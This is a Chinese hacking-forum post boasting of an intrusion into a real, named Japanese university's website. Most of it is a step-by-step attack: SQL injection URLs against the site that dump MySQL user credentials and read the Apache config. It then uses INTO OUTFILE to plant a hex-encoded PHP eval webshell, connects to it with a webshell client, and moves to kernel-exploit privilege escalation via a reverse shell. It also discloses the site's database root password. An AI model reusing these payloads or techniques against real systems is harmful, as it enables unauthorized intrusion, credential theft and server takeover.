中国网络渗透测试联盟
标题:
入侵日本同志社大学
[打印本页]
作者:
admin
时间:
2012-11-21 13:48
标题:
入侵日本同志社大学
入侵日本同志社大学技术分析
& g5 j5 F$ u {$ _% B$ Y* r
+ p8 M0 {; K% \( H2 ~3 {9 L
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
; ?' P- j) k0 |2 F( I
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
% H7 Z. ]1 i. B% d6 H$ s
; y: l0 T7 g' V
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1
,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
0 \) b5 u2 U7 m# w" v+ u: \* x6 q
( {6 e+ T, s. ?" |8 I5 k& Y
, _: o7 g& h9 g- Z7 l
' V" y2 w. k& Z1 y R* T
//@@datadir为数据库文件路径
- x! h& c" R. M
# ? F q7 l( t7 R2 Z
( d; ^ b- _( S/ q6 s0 B1 o
//load_file读取网站容器apache的配置文件
7 { s) T! T6 q% A
) W$ |$ a1 X. P* q7 _. U$ K- R
3 Y/ ], g5 c1 L
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
7 q: Y$ F, S- v6 B# c
复制代码
9 \9 W! M2 B3 l: l, }
( g+ q5 m2 N. `( f
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
) A& Z- ?9 W' E
. f: }, _& L5 U% c' n
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
: U: x9 ]. w# G! A! t5 i! H
(大家对以上各种查和语句不太懂的可以参考以下文章:
http://bbs.blackbap.org/thread-2243-1-1.html
)
, o2 H( g' s& x/ @4 l
* ?- F5 ^1 c- k9 O2 g' f
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
6 _% {+ z8 @9 e5 G
如果知道怎么猜apache配置文件的路径的请参考以下文章:
http://bbs.blackbap.org/thread-2242-1-1.html
" d- \6 ~1 l& r- ]5 r
1 r- M5 K2 ~2 ~4 K
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
, F; Q6 [+ r A9 O0 V
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
* h3 ?+ |$ H: I
直接写一句话:
" ^8 [8 v( F; \' W0 h; y' T
7 N: M: G4 E. b4 s& Q
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
& S0 L2 I4 y4 J. `9 l$ \
1 y5 s, C1 f! c, c3 }2 n1 s
( f. c: K7 `" d7 l/ Q; I7 ~
1 ^- u/ T2 _5 }4 |# u5 {$ h
//最后的#是为了闭合前面的语句
+ h4 j$ g( u5 _- u
: v; N+ ]$ K8 o0 h3 F$ k
8 ?5 Z5 m/ C' u3 U# q" s, A3 E7 f
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
2 X0 r& e4 S8 E
9 Y9 \* F: A; v% ~
$ H% F; k2 l+ T2 U
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
2 u I/ d. r' v! N
. m: M* ]. K% a
# M- `5 [ ^0 A5 z% h
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
$ `8 S. S" [$ |0 d: y. v
% ]$ }. \/ ~/ A7 _2 z3 Q! s6 Z$ A
2 m8 w% l9 _ l- E
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
* f1 w+ K* m+ D' y N2 c' ~7 H
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
; d$ J. i0 }, u- o/ ^0 N
复制代码
6 J7 {$ Q2 C: K- w0 S3 M; @% X; k
3 x4 H& S7 J/ M; H
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
( i/ o# ]6 q. a' z- G. ^6 W$ m2 X0 p: F
通过上述注入语句,我们就得到了一句话木马:
7 H. P7 N* I! A3 H7 s/ B7 P/ V8 H
6 T+ j" v, E0 l: `6 P
% @$ C) v* X! F6 S2 Q: v
/ l( B1 S/ P2 c! `8 x6 s h
, [( w6 m( Y; ~2 k; f
% @3 y* E; z2 d, B H5 a
http://www.doshisha.ac.jp/english/engnews_img/aa.php
+ `7 W! h) |% b1 k7 Y, I1 I
复制代码
: r/ [; j- V! k+ M/ K
, j" n* N) r+ ~! q$ T9 e9 r
用菜刀连接,密码是cmd,如图所示:
" U/ y0 G8 D8 w; o: j5 W2 d* Q& D
然后在命令提示行里看了一下,现在的权限是:
' b+ |& D7 X/ a( d! U! v8 C/ ]5 p
) r/ b# G9 \) x( C; J+ }
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
5 v1 S) Q1 m/ P; V# _
好在赋权给这个文件夹不需要root,直接执行赋权语句:
3 p3 p* p+ X6 h- t: f6 P4 f
/ g' Q* Z$ i/ C! ^9 z C
+ n4 C9 t" }; }% G& \9 ]) T
$ ~* B: h- T1 M* l' ^& B+ n
7 q: c. M& J1 e) u3 x- V# }7 ~
' f, p' u) P, P5 \( f
chmod +x /tmp/
7 |, C: A, B( `
复制代码
! M+ _+ D2 ~3 o0 z
- |+ L/ }$ s3 L; r8 o6 s
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
2 g. [ q5 f& B" l1 j) J) d7 d
然后就查了一下内核版本:
" @) [$ j; ^- O
/ [' v' }/ \; H. C. t
) x, P: ?0 t h2 n9 |% w" P: [
0 c( c7 J8 k u* s' ~8 w8 b
. S* E- C& q. s, K' @4 _
' c$ F8 I4 g: `) Q( k
uname-a
% }1 _ f5 u3 P; |6 z }' h
& ^$ I0 x2 S, {' {6 g8 v( h
! T- V' }1 o/ h3 t- T& r7 e
//其实lsb_release -a
8 c- j/ d1 {- q: |% K" ?
复制代码
; ~5 s: y/ N5 ~/ P* W
* P/ u# ?; \8 V2 Y! z, f
如图所示:
5 Z- c8 k* S8 z
1 Y6 h+ c. p3 p9 S+ p) z) o
内核版本:linux mainz1 2.6.28-194.e15
4 _( y8 C5 {5 H. P* C) A* X
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
0 }% i% c4 n9 c G) H
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
5 t9 G. l8 Q4 c! |
# s( i3 q, m) @3 Z" O2 m7 c1 Z+ N
然后给予执行权限
7 _, x+ F4 @. f( t; t9 n+ W
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
, |2 n$ L0 x5 `! w7 Z4 d: Q7 k) {+ ~
# }0 z1 L; K1 m) f# p
- o: ]2 Q; c V$ A( ~; S
, {- p6 K! V9 u3 {0 P' l5 H
T( ^, ]+ m* K6 h! G' e% E/ E; k
4 T2 f% q" z9 U3 S* O! e
chmod +x /tmp/2.6.18-194
2 a$ C% F( a9 r( B1 C
复制代码 然后直接执行!~
0 x6 i+ C7 P- Q. _: b B$ }% l
! M$ G6 a7 _1 r: D* b% M
总结:
2 t9 B4 ^5 t4 v, _+ n4 W
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
6 }( k4 j. i% c* e& }# W3 Q- Y) F
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
7 w2 N: m1 M/ x: y# x$ M- v4 D# B' }4 ]
' \0 N7 |0 e4 b W+ E
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2